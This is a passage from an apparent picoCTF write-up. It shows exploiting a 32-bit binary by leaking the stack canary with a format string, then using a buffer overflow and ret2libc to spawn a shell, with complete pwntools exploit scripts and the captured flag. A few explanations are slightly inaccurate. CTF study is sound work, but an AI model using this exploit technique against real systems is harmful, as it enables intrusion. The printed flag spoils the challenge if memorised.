0x080487aa <+60>: call 0x8048480 <gets@plt>
0x080487af <+65>: add esp,0x10
0x080487b2 <+68>: sub esp,0xc
0x080487b5 <+71>: lea eax,[ebx-0x15ea]
0x080487bb <+77>: push eax
0x080487bc <+78>: call 0x8048470 <printf@plt>
0x080487c1 <+83>: add esp,0x10
0x080487c4 <+86>: sub esp,0xc
0x080487c7 <+89>: lea eax,[ebp-0x20c]
0x080487cd <+95>: push eax
0x080487ce <+96>: call 0x8048470 <printf@plt>
0x080487d3 <+101>: add esp,0x10
0x080487d6 <+104>: sub esp,0xc
0x080487d9 <+107>: lea eax,[ebx-0x15df]
0x080487df <+113>: push eax
0x080487e0 <+114>: call 0x80484c0 <puts@plt>
0x080487e5 <+119>: add esp,0x10
0x080487e8 <+122>: nop
0x080487e9 <+123>: mov eax,DWORD PTR [ebp-0xc]
0x080487ec <+126>: xor eax,DWORD PTR gs:0x14
0x080487f3 <+133>: je 0x80487fa <win+140>
0x080487f5 <+135>: call 0x8048910 <__stack_chk_fail_local>
0x080487fa <+140>: mov ebx,DWORD PTR [ebp-0x4]
0x080487fd <+143>: leave
0x080487fe <+144>: ret
End of assembler dump.
You can see that the buffer starts at [ebp-0x20] because it’s the operand used for the instruction right before the gets function call.
0x080487a3 <+53>: lea eax,[ebp-0x20c]
0x080487a9 <+59>: push eax
0x080487aa <+60>: call 0x8048480 <gets@plt>
You can also check that the canary is at [ebp-0xc].
0x08048783 <+21>: mov eax,gs:0x14
0x08048789 <+27>: mov DWORD PTR [ebp-0xc],eax
Here’s a diagram of what the stack looks like.
We need to fill the winner buffer which is 512 bytes than leak the canary value 4 bytes because we’re on x86 (32-bit) and then we need to fill 12 bytes to cover the ebp.
winner [512]
canary 4 bytes [ebp-0xc]
return address [ebp+0x4]
This payload will fill the buffer, pass the canary value and fill right until the ebp.
payload=b'A'*512+p32(canary)+b'B'*12
Now we need to overwrite the return address.
We’ll now overwrite the return address so we can call puts@plt, then we’ll pass another return address so we can call puts@got which will print the memory address of puts in libc.
Why do you need to pass a return address between puts@plt and puts@got?
For the CPU to continue the instruction after changing the return address from puts@plt to puts@got we need to pass a return address.
I passed the return address of win because then we can trigger the BOF and fsb vulnerability again.
The code below prints the puts@got.
payload+=p32(e.plt.puts)+p32(e.sym.win)+p32(e.got.puts)
If you’ve read my previous post you’ll now kind of get a grasp on what the PLT and GOT is.
Since we now leaked the memory address of puts@got, we can substract the offset of puts to calculate the base of the binary.
Here’s the code that prints the canary and the puts address.
from pwn import *
r=remote('shape-facility.picoctf.net', 49503)
e=ELF('./vuln')
libc=ELF('./vuln')
r.sendlineafter(b'What number would you like to guess?', b'-3727')
r.sendlineafter(b'Name?', b'%135$p')
canary=int(r.recvline().strip(b'\n').split(b' ')[-1],16)
log.info(f'canary is {hex(canary)}')
payload=b'A'*512+p32(canary)+b'B'*12
payload+=p32(e.plt.puts)+p32(e.sym.win)+p32(e.got.puts)
r.sendlineafter(b'What number would you like to guess?', b'-3727')
r.sendlineafter(b'Name? ', payload)
r.recvuntil(b'Congrats: ')
r.recvlines(2)
leak=r.recv(4)
puts_address=u32(leak)
log.info(f'puts_address {hex(puts_address)}')
r.interactive()
# [*] canary is 0x37906200
# [*] puts_address 0xebc1a560
A very important fact that I didn’t mention is that the canary always ends with a null byte 00.
I’m not sure why it ends with a 00 though.
Then we can calculate the offset to the syscalls or symbols we want such as system() or /bin/sh.
Even though we now know the canary and the puts@got we don’t know the offsets to system or /bin/sh unless we know the specific libc version.
Using libc.rip will tell us which version of libc we’re using.

Since we’re using 32 bit ELF’s it’s probably libc6-i386_2.27-3ubuntu1.6_amd64 or libc6-i386_2.27-3ubuntu1.5_amd64 or libc6-i386_2.30-7_amd64.
I chose libc6-i386_2.27-3ubuntu1.6_amd64 because it was on top if it’s not the libc version picoCTF used then I can move to the next candidate.
When clicking on a certain libc verison you can also see the offsets for functions as well.

You can get a copy of the libc using wget.
Although you can get the “/bin/sh” offset using the libc database.
A lot of ctfers used this strings trick to grab the offset of “/bin/sh”.
strings -atx libc6-i386_2.27-3ubuntu1.5_amd64.so | grep "/bin/sh"
Now we can actually calculate all the addresses we need.
After calculating the actual memory addresses for system and /bin/sh we can send the exact same payload once again to get the shell.
Exploit Code
from pwn import *
r=remote('shape-facility.picoctf.net', 58168)
e=ELF('./vuln')
libc=ELF('./vuln')
r.sendlineafter(b'What number would you like to guess?', b'-3727')
r.sendlineafter(b'Name?', b'%135$p')
canary=int(r.recvline().strip(b'\n').split(b' ')[-1],16)
log.info(f'canary is {hex(canary)}')
payload=b'A'*512+p32(canary)+b'B'*12
payload+=p32(e.plt.puts)+p32(e.sym.win)+p32(e.got.puts)
r.sendlineafter(b'What number would you like to guess?', b'-3727')
r.sendlineafter(b'Name? ', payload)
r.recvuntil(b'Congrats: ')
r.recvlines(2)
leak=r.recv(4)
puts_address=u32(leak)
log.info(f'puts_address {hex(puts_address)}')
system=0x0003cf10
bin_sh=0x17b9db # strings -atx libc6-i386_2.27-3ubuntu1.5_amd64.so | grep "/bin/sh"
puts_offset=0x00067560
libc.address=puts_address-puts_offset
system=libc.address+system
bin_sh=libc.address+bin_sh
payload2=b'A'*512+p32(canary)+b'B'*12
payload2+=p32(system)+p32(e.sym.win)+p32(bin_sh)
r.sendlineafter(b'Name? ', payload2)
r.interactive()
# picoCTF{p0p_r0p_4nd_dr0p_1t_50be6553020152ce}
Further Reading
There’s a lot of material you can and should read to get a better understanding of this challenge.
I forgot to mention why you need to use %135$p to leak the canary; prof Martin’s video tells you the reason.
Watching his videos are helpful.
I’ll add the explanation after revising and proofreading the post.
I tried to explain the solution as detailed as I could, but I’m not sure if I did a good job.
Hardest picoCTF problem I’ve ever solved.
It’s probably because I haven’t solved any of the hard heap problems yet.